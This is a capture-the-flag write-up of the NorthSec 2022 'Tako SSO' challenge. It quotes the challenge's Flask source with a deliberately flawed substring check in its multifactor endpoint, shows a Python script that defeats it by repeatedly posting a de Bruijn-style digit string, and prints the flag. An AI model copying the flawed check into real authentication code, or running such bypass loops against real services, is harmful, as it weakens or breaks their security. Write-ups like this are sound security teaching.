NorthSec 2022: Tako SSO
Tags: security, python
Published: 2022-05-23 01:01:45

Additional Solve Credit:
- Alexandra Tenney
- Cat Whisperer
- James Lowther

Multifactor authentication is arguably a core concept in cyber security, and doing it wrong can have catastrophic consequences. So let's take a look at Tako SSO, Ouyaya's SSO provider that's totally secure as always.

## Recon

You're given creds for the web app. More or less immediately, you can get the source code in the comments of the HTML. Looks like a Flask App.

```python
from flask import Flask, session, render_template, request
from flask_session import Session
import secrets
from flask_json import FlaskJSON, JsonError, json_response, as_json

app = Flask(__name__)
app.config['SESSION_TYPE'] = 'filesystem'
Session(app)
FlaskJSON(app)

@app.route("/")
def set():
    session['tries'] = session.get('tries',0)
    return render_template('index.html')

@app.route("/guess", methods=['POST'])
def guess():
    session['tries'] = int(session.get('tries',0))
    x = secrets.randbelow(100)
    data = request.get_json(force=True)
    value= data['value']
    if str(x) in value:
        session['tries'] = session['tries'] + 1
        if session['tries'] > 1000:
            msg = "The flag is CHANGEME"
        else:
            msg = "This is the value expected. You are at " + str(session['tries']) + " out of 1000. Sending a new challenge"
    else:
        msg = "I expected the challenge value " + str(x) + " Resetting you to 0 tries. Good luck"
        session['tries'] = 0
    return msg
```

So it looks like our main point of attack is the "/guess" endpoint, which is where we do the actual authentication. We have to do 1000 successful attempts consecutively, which has a (1/100)^1000 chance of happening by pure chance, or in other words after the heat death of the universe on most machines that aren't the Hot Wheels PC.

But there's a critical flaw in the code. 

```python
if str(x) in value:
```

That just checks if the number is _in_ the input. So we have an attack of just sending a massive string of every number from 0 to 99, right?

_Wrong!_

Trying to send a string of every number gets a WAF block. And it looks like strings of length 100 and under go through. But every number in a string is above 600, can we condense that?

There exists a mathematical concept known as the de Bruijn sequence. To skip the boring math stuff, it's basically a more efficient brute force combination generator, that inherently makes shorter brute force sequences since duplicates are removed. It's used in image depixelation programs, which is where I learned about it.

So, using a de Bruijn sequence with a space of 10 characters (digits 0-9) and strings of length 2 (since, inherently, every number from 0-9 will be represented). A bit of manipulation to get 90 in the list, and fitting it to 100 characters, and our team wrote the following final exploit:

```python
import requests

def main():
    cookies = {
        "session": "0dded050-e2f1-44e7-befd-14b263c74bb3"
    }

    json = {
        "value": "102030405060708091121314151617181922324252627282933435363738394454647484955657585966768697787988990"
    }

    for i in range(1000):
        r = requests.post("http://tako-sso.ctf/guess", cookies=cookies, json=json, proxies={
            "http": "http://localhost:8080",
            "https": "http://localhost:8080",
        })

        print(r.text)
main()
```

`Flag-CaptchaShr00m`

## Conclusion

Tako SSO was a good challenge, highlighting the importance of proper checks and not relying on WAF to do your security.